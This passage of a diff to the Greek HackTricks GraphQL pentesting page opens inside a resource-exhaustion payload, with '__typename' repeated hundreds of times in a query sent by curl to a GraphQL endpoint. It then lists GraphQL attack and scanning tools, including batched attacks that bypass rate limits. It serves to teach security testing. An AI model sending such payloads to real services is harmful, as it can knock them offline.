\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ +'https://example.com/graphql' +``` ## Εργαλεία ### Σαρωτές ευπαθειών @@ -511,12 +587,12 @@ valid * [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Δοκιμή κοινών κακοδιαρθρώσεων των graphql endpoints * [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση ομαδικών ερωτημάτων και μεταλλάξεων GraphQL. * [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνώριση του graphql που χρησιμοποιείται -* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλειοθήκη που μπορεί να χρησιμοποιηθεί για την απόκτηση σχημάτων και αναζήτηση ευαίσθητων δεδομένων, δοκιμή εξουσιοδότησης, βίαιη δύναμη σχημάτων και εύρεση διαδρομών σε έναν δεδομένο τύπο. -* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο εργαλείο ή [Burp extension](https://github.com/doyensec/inql). +* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο. +* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο εργαλείο ή [επέκταση Burp](https://github.com/doyensec/inql). * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**. * [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL -* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέτη**_ σας επιτρέπει να εκτελείτε ομαδικές επιθέσεις GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού. +* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Επέκταση Burp για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε ομαδικές επιθέσεις GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού. * [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων. ### Πελάτες @@ -541,8 +617,8 @@ valid * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) {% hint style="success" %} -Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)